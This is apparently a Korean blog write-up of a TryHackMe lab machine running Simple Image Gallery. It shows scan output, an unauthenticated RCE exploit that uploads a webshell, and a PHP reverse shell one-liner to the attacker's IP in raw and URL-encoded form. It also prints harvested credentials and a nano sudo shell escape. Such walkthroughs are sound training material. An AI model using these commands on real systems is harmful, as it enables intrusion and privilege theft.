Review
문제에서 요구하는 답변 하나하나를 쫒아가다보면 풀 수 있는 문제였다. 중간중간 머리로는 아는데 잘 풀리지 않는 부분이 있었다. URL 검색창에 복붙한 reverse shell payload 입력이 안 먹힌다던가 interactive한 shell을 얻어내는 과정들이 그것이었다. 이런 부분들은 삽질의 시간을 통해 푼 것도 있고 WriteUp을 참고해 푼것도 있다.
어떤 시스템의 침투에 성공했을 때 살펴봐야하는 대상이 무엇인지 되짚어볼 수 있었다는 점에서 기본적인 부분에 대해 돌아볼 수 있었던 Challenge다.
TL; DR;
확인된 CMS의 취약점을 searchsploit에 검색해 Exploit을 찾은 뒤 WebShell을 통해 Reverse Shell 연결에 성공할 수 있다. 나아가 CMS 디렉토리 내에서 DB 계정을 찾아낼 수 있었으며 이를 통해 문제에서 요구하는 Admin의 Hash 값을 얻을 수 있다. 나아가 Enumeration을 통해 server 내에 파일에 기록된 특정 user의 계정 정보를 찾아내고 해당 user로 변경한뒤 root shell을 얻어낼 수 있다.
Information Gathering
Port Scan을 통해보니 열려있는 포트가 3군데라는 것을 알 수 있다. 80포트로 접근하면 Apache2 Default Page가 보인다. 접근 가능한 경로를 알아보기위해 Gobuster를 통해 Directory 를 탐색하면 “/gallery” 라는 경로가 나오는 걸 확인할 수 있다.
“/gallery”로 접근하니 “Simple Gallery System”라는 문구를 볼 수 있는데 SearchSploit을 통해 검색해보면 Exploit 들을 확인할 수 있다.
Port Scan
# Nmap 7.95 scan initiated Thu Dec 4 13:52:50 2025 as: nmap -sC -sV -oA nmap.txt 10.48.160.0
Nmap scan report for 10.48.160.0
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:ad:9d:3b:94:c2:d2:17:44:4b:4d:77:37:2b:f1:36 (RSA)
| 256 be:fa:3a:85:ea:1e:35:c1:b3:c5:bc:b1:90:5f:6f:b9 (ECDSA)
|_ 256 d1:a0:05:80:d0:f2:59:a3:50:69:17:61:bf:4c:3b:0e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Simple Image Gallery System
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Thu Dec 4 13:53:36 2025 -- 1 IP address (1 host up) scanned in 45.32 seconds
Directory Traversal
gobuster dir -w ~/SecLists//Discovery/Web-Content/raft-large-directories.txt -u 10.49.136.138
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.49.136.138>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/jako/private/cyber-skill-utils/SecLists//Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/gallery (Status: 301) [Size: 316] [--> <http://10.49.136.138/gallery/>]
CMS Search
╰─$ searchsploit -t simple gallery
---------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------- ---------------------------------
ESPG (Enhanced Simple PHP Gallery) 1.72 - File Disclosure | php/webapps/7819.txt
Iamma Simple Gallery 1.0/2.0 - Arbitrary File Upload | php/webapps/6803.txt
Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vulnerabilities | php/webapps/49064.txt
Joomla! Component com_simplephotogallery 1.0 - Arbitrary File Upload | php/webapps/36373.txt
Joomla! Component com_simplephotogallery 1.0 - SQL Injection | php/webapps/36385.txt
Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross-Site S | php/webapps/44104.txt
MunkyScripts Simple Gallery - SQL Injection | php/webapps/12045.html
Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated) | php/webapps/50214.py
Simple Image Gallery System 1.0 - 'id' SQL Injection | php/webapps/50198.txt
Simple one-file Gallery - 'gallery.php?f' Cross-Site Scripting | php/webapps/29643.txt
Simple one-file Gallery - 'gallery.php?f' Traversal Arbitrary File Access | php/webapps/29642.txt
Simple PHP Gallery 1.1 - 'System SP_Index.php' Cross-Site Scripting | php/webapps/29175.txt
Simple PHP Scripts Gallery 0.x - 'index.php' Cross-Site Scripting | php/webapps/31319.txt
SimpleGallery 0.1.3 - 'index.php' Cross-Site Scripting | php/webapps/30811.txt
WordPress Plugin Simple Photo Gallery 1.7.8 - Blind SQL Injection | php/webapps/37113.txt
---------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Exploitation
SearchSploit을 통해 알게 된 서버의 Exploit을 실행하면 WebShell을 업로드 했다는 결과를 받아볼 수 있다. 결과로 나온 URL을 브라우저에 입력하면 Server에 Command를 실행할 수 있는 걸 알 수 있다.
나아가 Reverse Shell을 얻어보자. php 로 시작하는 reverse shell payload를 사용했다. 이 과정에서 url encode를 거치면 해당 payload가 동작한다는 사실을 알았다. 이렇게 얻어낸 shell은 interactive 하지 못하다. python3의 pty를 활용해 interactive한 shell을 얻어내자.
RCE
$ python3 /opt/homebrew/opt/exploitdb/share/exploitdb/exploits/php/webapps/50214.py
TARGET = 10.49.136.138/gallery
Login Bypass
shell name TagoaxivntyundngftfLetta
protecting user
User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin
shell uploading
- OK -
Shell URL : <http://10.49.136.138/gallery/uploads/1764909000_TagoaxivntyundngftfLetta.php?cmd=whoami>
Gaining Shell
local
╰─$ nc -l 1234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ip-10-49-136-138:/var/www/html/gallery/uploads$
remote
php -r '$sock=fsockopen("192.168.137.48",1234);exec("sh <&3 >&3 2>&3");'
php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.137.48%22%2C1234%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Lateral Movement
CMS 네임스페이스 안에서 “initizlize.php”를 파일을 열어보면 내부 DB로의 접근 계정을 알 수 있다. 나아가 Enumeration을 시도해보자. 이 과정에서 “/var/backups” 안에 “mike”라는 계정의 backup 파일들이 있는 것으로 유추되는 항목을 발견할 수 있다.
.bash_history 파일을 열어보면 mike의 password가 보인다.
CMS : initialize.php
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
?>
Enumeration
╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rwxr-xr-x 1 www-data www-data 971926 Nov 1 04:39 /tmp/linpeas.sh
-rwxr-xr-x 1 root root 3772 May 24 2021 /var/backups/mike_home_backup/.bashrc
-rwxr-xr-x 1 root root 135 May 24 2021 /var/backups/mike_home_backup/.bash_history
-rwxr-xr-x 1 root root 220 May 24 2021 /var/backups/mike_home_backup/.bash_logout
-rwxr-xr-x 1 root root 20549 May 24 2021 /var/backups/mike_home_backup/images/23-04.jpg
-rwxr-xr-x 1 root root 159262 May 24 2021 /var/backups/mike_home_backup/images/my-cat.jpg
-rwxr-xr-x 1 root root 436526 May 24 2021 /var/backups/mike_home_backup/images/26-04.jpg
-rwxr-xr-x 1 root root 103 May 24 2021 /var/backups/mike_home_backup/documents/accounts.txt
-rwxr-xr-x 1 root root 807 May 24 2021 /var/backups/mike_home_backup/.profile
History
www-data@ip-10-48-160-0:/var/backups/mike_home_backup$ cat .bash_history
cat .bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -l b3stpassw0rdbr0xx
clear
sudo -l
exit
Priviliege Escalate
mike의 계정 정보로 ssh를 접근한 뒤 root 권한으로 실행할 수 있는 항목을 알아보자. /opt/rootkit.sh 를 root 권한으로 실행가능하며 해당 스크립트에는 nano 편집기를 통해 report.txt를 열 수 있는 특징이 보인다. nano 편집기를 통해 report.txt로 열면 해당 상태에서 root 권한을 획득할 수 있는 명령을 통해 root shell을 획득할 수 있다.
Sudoers
mike@ip-10-49-136-138:~$ sudo -l
Matching Defaults entries for mike on ip-10-49-136-138:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User mike may run the following commands on ip-10-49-136-138:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
/opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Nano:Shell
nano
^R^X
reset; sh 1>&0 2>&0
'Pentest > TryHackMe' 카테고리의 다른 글
| TryHackMe : Cheese (1) | 2025.12.08 |
|---|---|
| TryHackMe : Dreaming (0) | 2025.12.05 |
| [TryHackMe] Develpy (0) | 2023.09.28 |
| [TryHackMe] Valley (0) | 2023.08.30 |
| [TryHackMe] Pickle Rick (0) | 2023.08.19 |